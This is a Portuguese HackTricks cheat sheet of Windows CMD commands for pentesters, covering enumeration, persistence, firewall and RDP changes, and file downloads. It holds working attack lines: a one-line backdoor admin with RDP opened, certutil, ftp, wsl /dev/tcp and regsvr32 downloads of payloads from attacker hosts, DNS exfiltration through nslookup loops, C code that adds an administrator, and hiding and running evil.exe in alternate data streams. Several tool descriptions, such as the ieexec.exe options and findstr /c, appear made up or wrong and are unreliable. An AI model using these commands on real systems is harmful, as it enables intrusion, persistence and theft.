## CMD Básico do Windows para Pentesters
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Informações do sistema ### Informações de versão e patches ```bash wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information wmic computersystem LIST full #Get PC info wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches wmic qfe list brief #Updates hostname DRIVERQUERY #3rd party driver vulnerable? ``` ### Ambiente ```bash set #List all environment variables ``` Algumas variáveis de ambiente para destacar: * **COMPUTERNAME**: Nome do computador * **TEMP/TMP:** Pasta temporária * **USERNAME:** Seu nome de usuário * **HOMEPATH/USERPROFILE:** Diretório pessoal * **windir:** C:\Windows * **OS**: Sistema operacional Windows * **LOGONSERVER**: Nome do controlador de domínio * **USERDNSDOMAIN**: Nome do domínio a ser usado com DNS * **USERDOMAIN**: Nome do domínio. ```bash nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC ``` ### Discos montados ```bash (wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul) wmic logicaldisk get caption,description,providername ``` ### [Defender](authentication-credentials-uac-and-efs.md#defender) ### Lixeira ```bash dir C:\$Recycle.Bin /s /b ``` ### Processos, Serviços e Software ```bash schtasks /query /fo LIST /v #Verbose out of scheduled tasks schtasks /query /fo LIST 2>nul | findstr TaskName schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM tasklist /V #List processes tasklist /SVC #links processes to started services net start #Windows Services started wmic service list brief #List services sc query #List of services dir /a "C:\Program Files" #Installed software dir /a "C:\Program Files (x86)" #Installed software reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software ``` ## Informações do Domínio ```bash # Generic AD info echo %USERDOMAIN% #Get domain name echo %USERDNSDOMAIN% #Get domain name echo %logonserver% #Get name of the domain controller set logonserver #Get name of the domain controller set log #Get name of the domain controller gpresult /V # Get current policy applied wmic ntdomain list /format:list #Displays information about the Domain and Domain Controllers # Users dsquery user #Get all users net user /domain #List all users of the domain net user /domain #Get information about that user net accounts /domain #Password and lockout policy wmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #Get all users wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # Get info of 1 users wmic sysaccount list /format:list # Dumps information about any system accounts that are being used as service accounts. # Groups net group /domain #List of domain groups net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here) net group "Domain Admins" /domain #List users with domain admin privileges net group "domain computers" /domain #List of PCs connected to the domain net group "Domain Controllers" /domain #List PC accounts of domains controllers wmic group list /format:list # Information about all local groups wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #Get all groups wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group # Computers dsquery computer #Get all computers net view /domain #Lis of PCs of the domain nltest /dclist: #List domain controllers wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #All computers wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #All computers # Trust relations nltest /domain_trusts #Mapping of the trust relationships # Get all objects inside an OU dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL" ``` ### Registros e Eventos ```bash #Make a security query using another credentials wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321 ``` ## Usuários e Grupos ### Usuários ```bash #Me whoami /all #All info about me, take a look at the enabled tokens whoami /priv #Show only privileges # Local users net users #All users dir /b /ad "C:\Users" net user %username% #Info about a user (me) net accounts #Information about password requirements wmic USERACCOUNT Get Domain,Name,Sid net user /add [username] [password] #Create user # Other users looged qwinsta #Anyone else logged in? #Lauch new cmd.exe with new creds (to impersonate in network) runas /netonly /user\ "cmd.exe" ::The password will be prompted #Check current logon session as administrator using logonsessions from sysinternals logonsessions.exe logonsessions64.exe ``` ### Grupos ```bash #Local net localgroup #All available groups net localgroup Administrators #Info about a group (admins) net localgroup administrators [username] /add #Add user to administrators #Domain net group /domain #Info about domain groups net group /domain #Users that belongs to the group ``` ### Listar sessões ``` qwinsta klist sessions ``` ### Política de Senhas ``` net accounts ``` ### Credenciais ```bash cmdkey /list #List credential vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access ``` ### Persistência com usuários ```bash # Add domain user and put them in Domain Admins group net user username password /ADD /DOMAIN net group "Domain Admins" username /ADD /DOMAIN # Add local user and put them local Administrators group net user username password /ADD net localgroup Administrators username /ADD # Add user to insteresting groups: net localgroup "Remote Desktop Users" UserLoginName /add net localgroup "Debugger users" UserLoginName /add net localgroup "Power users" UserLoginName /add ``` ## Rede ### Interfaces, Rotas, Portas, Hosts e Cache DNS ```bash ipconfig /all #Info about interfaces route print #Print available routes arp -a #Know hosts netstat -ano #Opened ports? type C:\WINDOWS\System32\drivers\etc\hosts ipconfig /displaydns | findstr "Record" | findstr "Name Host" ``` ### Firewall Um firewall é um sistema de segurança que monitora e controla o tráfego de rede com base em regras de segurança. Ele pode ser implementado em hardware ou software e é usado para proteger uma rede contra ameaças externas, como ataques de hackers e malware. O firewall pode ser configurado para permitir ou bloquear o tráfego com base em endereços IP, portas e protocolos específicos. É uma medida de segurança essencial para qualquer rede. ```bash netsh firewall show state # FW info, open ports netsh advfirewall firewall show rule name=all netsh firewall show config # FW info Netsh Advfirewall show allprofiles NetSh Advfirewall set allprofiles state off #Turn Off NetSh Advfirewall set allprofiles state on #Trun On netsh firewall set opmode disable #Turn Off #How to open ports netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138 netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139 netsh firewall add portopening TCP 3389 "Remote Desktop" #Enable Remote Desktop reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f netsh firewall add portopening TCP 3389 "Remote Desktop" ::netsh firewall set service remotedesktop enable #I found that this line is not needed ::sc config TermService start= auto #I found that this line is not needed ::net start Termservice #I found that this line is not needed #Enable Remote Desktop with wmic wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1" ##or wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1" #Enable Remote assistance: reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f netsh firewall set service remoteadmin enable #Ninja combo (New Admin User, RDP + Rassistance + Firewall allow) net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable ::Connect to RDP (using hash or password) xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49 xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49 ``` ### Compartilhamentos ```bash net view #Get a list of computers net view /all /domain [domainname] #Shares on the domains net view \\computer /ALL #List shares of a computer net use x: \\computer\share #Mount the share locally net share #Check current shares ``` ### Wifi ```bash netsh wlan show profile #AP SSID netsh wlan show profile key=clear #Get Cleartext Pass ``` ### SNMP SNMP (Simple Network Management Protocol) é um protocolo padrão para gerenciamento de dispositivos em redes IP. Ele permite que os administradores monitorem e gerenciem dispositivos de rede, como roteadores, switches, servidores e impressoras, entre outros. O SNMP funciona através de mensagens enviadas entre dispositivos de rede e um software de gerenciamento de rede centralizado. As mensagens contêm informações sobre o status do dispositivo, como uso de CPU, uso de memória e tráfego de rede. Os pentesters podem usar o SNMP para obter informações sobre dispositivos de rede e explorar vulnerabilidades. ``` reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s ``` ### Interfaces de Rede ```bash ipconfig /all ``` ### Tabela ARP ```bash arp -A ``` ## Download Bitsadmin.exe ``` bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1 ``` CertReq.exe é uma ferramenta de linha de comando que é usada para solicitar e emitir certificados digitais em um ambiente Windows. Ele pode ser usado para criar solicitações de certificado, enviar solicitações para uma autoridade de certificação e instalar certificados emitidos. Essa ferramenta é útil para pentesters que desejam obter certificados para fins de autenticação ou para realizar ataques de phishing. ``` CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt ``` Certutil.exe é uma ferramenta de linha de comando do Windows que é usada para gerenciar certificados digitais. Ele pode ser usado para instalar, gerenciar e revogar certificados, bem como para exibir informações sobre eles. Além disso, o Certutil.exe também pode ser usado para codificar e decodificar arquivos, bem como para verificar a assinatura digital de arquivos. Essa ferramenta é frequentemente usada por pentesters para verificar se um certificado digital é válido e se ele foi emitido por uma autoridade de certificação confiável. ``` certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe ``` # Desktopimgdownldr.exe O arquivo `Desktopimgdownldr.exe` é um executável que pode ser usado para baixar imagens de desktops remotos. Esse arquivo pode ser usado por atacantes para baixar imagens de desktops de vítimas infectadas com malware. Se você encontrar esse arquivo em seu sistema, é altamente recomendável removê-lo imediatamente e executar uma verificação completa do sistema com um software antivírus confiável. Além disso, é importante garantir que seu sistema esteja sempre atualizado com as últimas atualizações de segurança para evitar vulnerabilidades conhecidas que possam ser exploradas por atacantes. ``` set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr ``` Diantz.exe é uma ferramenta de linha de comando que permite compactar e descompactar arquivos .cab. É útil para reduzir o tamanho de arquivos e economizar espaço em disco. Para compactar um arquivo, use o seguinte comando: ``` diantz.exe -c ``` Para descompactar um arquivo, use o seguinte comando: ``` diantz.exe -d ``` Você também pode usar a opção `-v` para exibir informações detalhadas sobre o processo de compactação ou descompactação. ``` diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab ``` O comando `esentutl.exe` é uma ferramenta de linha de comando que permite gerenciar bancos de dados do Microsoft Extensible Storage Engine (ESE). Essa ferramenta pode ser usada para verificar a integridade do banco de dados, reparar arquivos corrompidos, compactar bancos de dados grandes e muito mais. É uma ferramenta útil para pentesters que desejam explorar vulnerabilidades em bancos de dados ESE. ``` esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o ``` # Expand.exe O comando `expand.exe` é usado para descompactar arquivos `.cab`. Ele é útil para extrair arquivos de instalação de programas que estão compactados em um arquivo `.cab`. ## Sintaxe ``` expand.exe [-r] arquivo.cab [destino] ``` ## Parâmetros * `-r`: Extrai todos os arquivos e subpastas de forma recursiva. * `arquivo.cab`: Especifica o arquivo `.cab` que será descompactado. * `destino`: Especifica o diretório de destino para os arquivos descompactados. Se não for especificado, os arquivos serão extraídos para o diretório atual. ## Exemplo ``` expand.exe -r programa.cab C:\Programas ``` Este comando extrai todos os arquivos e subpastas do arquivo `programa.cab` para o diretório `C:\Programas`. ``` expand \\webdav\folder\file.bat c:\ADS\file.bat ``` Extrac32.exe é uma ferramenta de linha de comando do Windows que permite extrair arquivos de um arquivo compactado no formato .cab. É possível usá-lo para extrair arquivos de um arquivo .cab malicioso que pode ter sido baixado ou recebido por e-mail. É importante lembrar que arquivos .cab também podem ser usados para distribuir malware, portanto, é importante ter cuidado ao extrair arquivos de um arquivo .cab desconhecido. ``` extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt ``` # Findstr.exe O comando `findstr` é usado para pesquisar por strings em arquivos de texto. É uma ferramenta muito útil para encontrar informações específicas em arquivos de log ou em outros arquivos de texto. ## Sintaxe ``` findstr [opções] string [arquivos] ``` ## Opções Algumas das opções mais úteis do `findstr` são: - `/i`: Ignora maiúsculas e minúsculas. - `/s`: Pesquisa em subdiretórios. - `/n`: Mostra o número da linha em que a string foi encontrada. - `/c`: Conta o número de ocorrências da string em vez de mostrar as linhas em que ela foi encontrada. ## Exemplos Pesquisar por uma string em um arquivo: ``` findstr "string" arquivo.txt ``` Pesquisar por uma string em vários arquivos: ``` findstr "string" *.txt ``` Pesquisar por uma string em todos os arquivos de um diretório e seus subdiretórios: ``` findstr /s "string" * ``` Pesquisar por uma string em um arquivo e mostrar o número da linha em que ela foi encontrada: ``` findstr /n "string" arquivo.txt ``` Pesquisar por uma string em um arquivo e contar o número de ocorrências: ``` findstr /c "string" arquivo.txt ``` ``` findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe ``` # Ftp.exe O comando `ftp.exe` é uma ferramenta de linha de comando que permite a transferência de arquivos entre sistemas através do protocolo FTP (File Transfer Protocol). É uma ferramenta útil para testar a conectividade e a autenticação do servidor FTP. ## Sintaxe ``` ftp [-v] [-d] [-i] [-n] [-g] [-s:filename] [-a] [-w:windowsize] [-A] [host] ``` ## Opções - `-v`: Ativa o modo verbose, exibindo informações detalhadas sobre a transferência de arquivos. - `-d`: Ativa o modo de depuração, exibindo informações adicionais para fins de depuração. - `-i`: Desativa a confirmação de prompt para transferências de arquivos em lote. - `-n`: Desativa a exibição automática do prompt FTP. - `-g`: Ativa o modo de transferência de arquivos binários. - `-s:filename`: Especifica um arquivo de script contendo comandos FTP. - `-a`: Ativa o modo de transferência de arquivos ASCII. - `-w:windowsize`: Especifica o tamanho da janela de transferência. - `-A`: Ativa o modo de autenticação anônima. ## Exemplos Conectar-se a um servidor FTP: ``` ftp ftp.example.com ``` Fazer login com nome de usuário e senha: ``` ftp ftp.example.com Name: username Password: ******** ``` Transferir um arquivo do servidor FTP para o computador local: ``` ftp ftp.example.com Name: username Password: ******** ftp> get example.txt ``` Transferir um arquivo do computador local para o servidor FTP: ``` ftp ftp.example.com Name: username Password: ******** ftp> put example.txt ``` Sair do FTP: ``` ftp> quit ``` ``` cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v" ``` # GfxDownloadWrapper.exe O arquivo `GfxDownloadWrapper.exe` é um executável que faz parte do software de gráficos da Intel. No entanto, ele também pode ser usado como um vetor de ataque por invasores mal-intencionados. Os invasores podem usar o `GfxDownloadWrapper.exe` para executar comandos maliciosos no sistema comprometido. Eles podem fazer isso substituindo o arquivo original por uma versão maliciosa ou explorando vulnerabilidades no software de gráficos da Intel. Para evitar possíveis ataques, é recomendável manter o software de gráficos da Intel atualizado e verificar regularmente a integridade do arquivo `GfxDownloadWrapper.exe`. Além disso, é importante ter um software antivírus atualizado e em execução no sistema. ``` C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE" ``` Hh.exe é um executável do Windows que é usado para exibir arquivos de ajuda (.chm) e seus conteúdos. Ele pode ser usado para exibir a ajuda de um programa ou para abrir um arquivo .chm diretamente. Além disso, o hh.exe pode ser usado para executar comandos do sistema operacional, como abrir um arquivo ou executar um programa. É importante notar que o hh.exe pode ser usado por atacantes para executar comandos maliciosos no sistema. Portanto, é importante monitorar o uso do hh.exe e restringir o acesso a ele sempre que possível. ``` HH.exe http://some.url/script.ps1 ``` # ieexec.exe O comando `ieexec.exe` é um utilitário do Windows que permite executar comandos em um navegador Internet Explorer. Isso pode ser útil para testar vulnerabilidades em sites que só funcionam no IE ou para automatizar tarefas que envolvem o uso do navegador. ## Sintaxe ``` ieexec.exe [-url ] [-post ] [-get ] [-cookie ] [-header ] [-timeout ] [-hide] [-debug] [-help] ``` ## Opções - `-url `: Especifica a URL a ser carregada no navegador. - `-post `: Especifica os dados a serem enviados em uma solicitação POST. - `-get `: Especifica os dados a serem enviados em uma solicitação GET. - `-cookie `: Especifica os cookies a serem enviados com a solicitação. - `-header `: Especifica os cabeçalhos a serem enviados com a solicitação. - `-timeout `: Especifica o tempo limite em segundos para a solicitação. - `-hide`: Executa o navegador em segundo plano, sem exibir a interface do usuário. - `-debug`: Exibe informações de depuração. - `-help`: Exibe a ajuda. ## Exemplos - Abrir o Internet Explorer e carregar uma página: ``` ieexec.exe -url http://www.exemplo.com ``` - Enviar uma solicitação POST: ``` ieexec.exe -url http://www.exemplo.com -post "usuario=admin&senha=123456" ``` - Enviar uma solicitação GET com cookies: ``` ieexec.exe -url http://www.exemplo.com -get "pagina=perfil" -cookie "sessionid=123456" ``` ``` ieexec.exe http://x.x.x.x:8080/bypass.exe ``` # Makecab.exe `Makecab.exe` é uma ferramenta do Windows que permite compactar arquivos em um único arquivo `.cab`. Isso pode ser útil para reduzir o tamanho de arquivos que precisam ser transferidos ou armazenados. ## Sintaxe ``` makecab [/V[n]] [/D var=value ...] [/L dir] [/F directive_file] source [destination] ``` ## Opções - `/V[n]`: Define o nível de verbosidade (0-3) para a saída. - `/D var=value`: Define uma variável de ambiente para ser usada durante a compactação. - `/L dir`: Define o diretório de saída para os arquivos gerados. - `/F directive_file`: Especifica um arquivo de diretiva que contém instruções adicionais para a compactação. - `source`: Especifica o arquivo ou diretório de origem para a compactação. - `destination`: Especifica o nome e localização do arquivo compactado resultante. Se não for especificado, o arquivo será criado no diretório atual com o mesmo nome da origem, mas com a extensão `.cab`. ## Exemplo Compactar um arquivo: ``` makecab arquivo.txt ``` Compactar um diretório: ``` makecab diretorio ``` Compactar um arquivo com um nome específico: ``` makecab arquivo.txt arquivo.cab ``` ``` makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab ``` `MpCmdRun.exe` é um utilitário de linha de comando usado para gerenciar o Windows Defender no Windows. Ele pode ser usado para verificar o sistema em busca de malware, atualizar definições de vírus, executar verificações agendadas e muito mais. É uma ferramenta útil para pentesters que desejam verificar se o Windows Defender está ativado e atualizado em um sistema alvo. ``` MpCmdRun.exe -DownloadFile -url -path //Windows Defender executable ``` # Replace.exe O comando `replace.exe` é usado para substituir arquivos. É útil para substituir arquivos de sistema que não podem ser substituídos de outra forma. ## Sintaxe ``` replace.exe [/A] [/R] [/S] [/U] [/P] [/W] ``` ## Opções - `/A`: Acrescenta o arquivo novo ao arquivo original. - `/R`: Substitui somente os arquivos que são mais recentes que o arquivo original. - `/S`: Substitui arquivos em subdiretórios. - `/U`: Substitui somente os arquivos que são mais antigos que o arquivo original. - `/P`: Pede confirmação antes de substituir cada arquivo. - `/W`: Espera que o usuário pressione uma tecla antes de substituir cada arquivo. ## Exemplo ``` replace.exe c:\windows\system32\calc.exe c:\temp\calc.exe /S ``` Este comando substitui o arquivo `calc.exe` em `c:\windows\system32` pelo arquivo `calc.exe` em `c:\temp`, incluindo subdiretórios. ``` replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A ``` # Excel.exe O `excel.exe` é o processo do Microsoft Excel. Ele é responsável por executar o aplicativo do Excel e abrir arquivos do Excel. É possível executar o `excel.exe` a partir do prompt de comando para abrir um arquivo do Excel específico ou para executar uma macro do Excel. ## Comandos úteis ### Executar o Excel a partir do prompt de comando ``` excel.exe ``` ### Abrir um arquivo do Excel a partir do prompt de comando ``` excel.exe "C:\caminho\para\arquivo.xlsx" ``` ### Executar uma macro do Excel a partir do prompt de comando ``` excel.exe /mNomeDaMacro ``` ### Executar o Excel em modo de segurança ``` excel.exe /safe ``` ### Executar o Excel sem a inicialização de complementos ``` excel.exe /s ``` ### Exibir a versão do Excel ``` excel.exe /version ``` ``` Excel.exe http://192.168.1.10/TeamsAddinLoader.dll ``` Powerpnt.exe é o executável do Microsoft PowerPoint, um software de apresentação desenvolvido pela Microsoft. ``` Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll" ``` Squirrel.exe é uma ferramenta de linha de comando que permite a instalação, atualização e desinstalação de aplicativos Windows. Ele é frequentemente usado em conjunto com o framework de atualização automática Squirrel, que permite que os aplicativos sejam atualizados automaticamente quando uma nova versão é lançada. Os pentesters podem usar o Squirrel.exe para verificar se há vulnerabilidades de segurança no processo de atualização automática de um aplicativo. ``` squirrel.exe --download [url to package] ``` # Update.exe O arquivo `update.exe` é um executável do Windows que é frequentemente usado para atualizar software. No entanto, também pode ser usado por atacantes para executar comandos maliciosos no sistema. É importante verificar a localização do arquivo `update.exe` e garantir que ele seja legítimo antes de executá-lo. ## Verificando a localização do arquivo Para verificar a localização do arquivo `update.exe`, você pode usar o seguinte comando: ``` where.exe update.exe ``` Isso mostrará a localização do arquivo `update.exe` no sistema. ## Verificando a assinatura digital Para verificar se o arquivo `update.exe` é legítimo, você pode verificar sua assinatura digital. Para fazer isso, use o seguinte comando: ``` sigcheck.exe -a -v update.exe ``` Isso mostrará informações sobre a assinatura digital do arquivo `update.exe`. Verifique se a assinatura é válida e se o nome do editor é legítimo. ## Conclusão O arquivo `update.exe` pode ser usado para atualizar software, mas também pode ser usado por atacantes para executar comandos maliciosos. Verifique a localização do arquivo e a assinatura digital antes de executá-lo. ``` Update.exe --download [url to package] ``` Winword.exe é o processo do Microsoft Word, um processador de texto amplamente utilizado. É importante estar ciente desse processo ao realizar análises de malware, pois alguns malwares podem se disfarçar como o processo Winword.exe para evitar detecção. ``` winword.exe "http://192.168.1.10/TeamsAddinLoader.dll" ``` # Wsl.exe O comando `wsl.exe` é usado para gerenciar distribuições do Windows Subsystem for Linux (WSL) no Windows 10. Ele pode ser usado para executar comandos em uma distribuição específica, definir a distribuição padrão e muito mais. ## Sintaxe ``` wsl.exe [comando] [opções] ``` ## Comandos - `--list` ou `-l`: lista todas as distribuições WSL instaladas. - `--set-default `: define a distribuição padrão para ser usada quando `wsl` é executado sem argumentos. - `--set-version `: define a versão do WSL para uma distribuição específica. - `--terminate `: encerra todas as instâncias em execução da distribuição especificada. - `--shutdown`: encerra todas as distribuições WSL em execução. ## Exemplos - Listar todas as distribuições WSL instaladas: ``` wsl.exe --list ``` - Definir a distribuição padrão para Ubuntu: ``` wsl.exe --set-default Ubuntu ``` - Definir a versão 2 do WSL para a distribuição Ubuntu: ``` wsl.exe --set-version Ubuntu 2 ``` - Encerrar todas as instâncias em execução da distribuição Ubuntu: ``` wsl.exe --terminate Ubuntu ``` - Encerrar todas as distribuições WSL em execução: ``` wsl.exe --shutdown ``` ``` wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary' ``` ## Miscelânea ```bash cd #Get current dir cd C:\path\to\dir #Change dir dir #List current dir dir /a:h C:\path\to\dir #List hidden files dir /s /b #Recursive list without shit time #Get current time date #Get current date shutdown /r /t 0 #Shutdown now type #Cat file #Runas runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials runas /netonly /user:\ "cmd.exe" ::The password will be prompted #Hide attrib +h file #Set Hidden attrib -h file #Quit Hidden #Give full control over a file that you owns icacls /t /e /p :F icacls /e /r #Remove the permision #Recursive copy to smb xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win #exe2bat to transform exe file in bat file #ADS dir /r #Detect ADS more file.txt:ads.txt #read ADS powershell (Get-Content file.txt -Stream ads.txt) # Get error messages from code net helpmsg 32 #32 is the code in that case ``` ### Contornando a Restrição de Caracteres ```bash echo %HOMEPATH:~6,-11% #\ who^ami #whoami ``` ### DOSfuscation Gera uma linha de comando CMD ofuscada. ```powershell git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git cd Invoke-DOSfuscation Import-Module .\Invoke-DOSfuscation.psd1 Invoke-DOSfuscation help SET COMMAND type C:\Users\Administrator\Desktop\flag.txt encoding ``` ### ACLs de endereço de escuta Você pode escutar em [http://+:80/Temporary\_Listen\_Addresses/](http://+/Temporary\_Listen\_Addresses/) sem ser administrador. ```bash netsh http show urlacl ``` ### Shell DNS manual **Atacante** (Kali) deve usar uma dessas 2 opções: ```bash sudo responder -I #Active sudo tcpdump -i -A proto udp and dst port 53 and dst ip #Passive ``` #### Vítima _**for /f tokens**_ \_\*\*\_técnica: Isso nos permite executar comandos, obter as primeiras X palavras de cada linha e enviá-las através do DNS para nosso servidor. ``` for /f %a in ('whoami') do nslookup %a #Get whoami for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a #Get word2 for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c #List folder for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c #List that folder for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c #Same as last one #More complex commands for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i #Same as last one ``` Você também pode **redirecionar** a saída e, em seguida, **ler**. ``` whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i ``` ## Chamando CMD a partir de código C ```c #include /* system, NULL, EXIT_FAILURE */ // When executed by Administrator this program will create a user and then add him to the administrators group // i686-w64-mingw32-gcc addmin.c -o addmin.exe // upx -9 addmin.exe int main (){ int i; i=system("net users otherAcc 0TherAcc! /add"); i=system("net localgroup administrators otherAcc /add"); return 0; } ``` ## Folha de dicas de fluxos de dados alternativos (ADS/Fluxo de Dados Alternativos) Retirado de [https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f) ```bash ##Add content to ADS### type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe" extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat esentutl.exe /y C:\ADS\autoruns.exe /d c:\ADS\file.txt:autoruns.exe /o powershell -command " & {(Get-Content C:\ADS\file.exe -Raw | Set-Content C:\ADS\file.txt -Stream file.exe)}" curl file://c:/temp/autoruns.exe --output c:\temp\textfile1.txt:auto.exe cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:https://evilsite.com/RegSvr32.sct ^scrobj.dll > fakefile.doc:reg32.bat set-content - path {path to the file} - stream {name of the stream} ## Discover ADS contecnt dir /R streams.exe #Binary from sysinternals# Get-Item -Path .\fie.txt -Stream * gci -recurse | % { gi $_.FullName -stream * } | where stream -ne ':$Data' ##Extract content from ADS### expand c:\ads\file.txt:test.exe c:\temp\evil.exe esentutl.exe /Y C:\temp\file.txt:test.exe /d c:\temp\evil.exe /o more < c:\ads\file.txt:test.exe ##Executing the ADS content### * WMIC wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"' * Rundll32 rundll32 "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:ADSDLL.dll",DllMain rundll32.exe advpack.dll,RegisterOCX not_a_dll.txt:test.dll rundll32.exe ieadvpack.dll,RegisterOCX not_a_dll.txt:test.dll * Cscript cscript "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Script.vbs" * Wscript wscript c:\ads\file.txt:script.vbs echo GetObject("script:https://raw.githubusercontent.com/sailay1996/misc-bin/master/calc.js") > 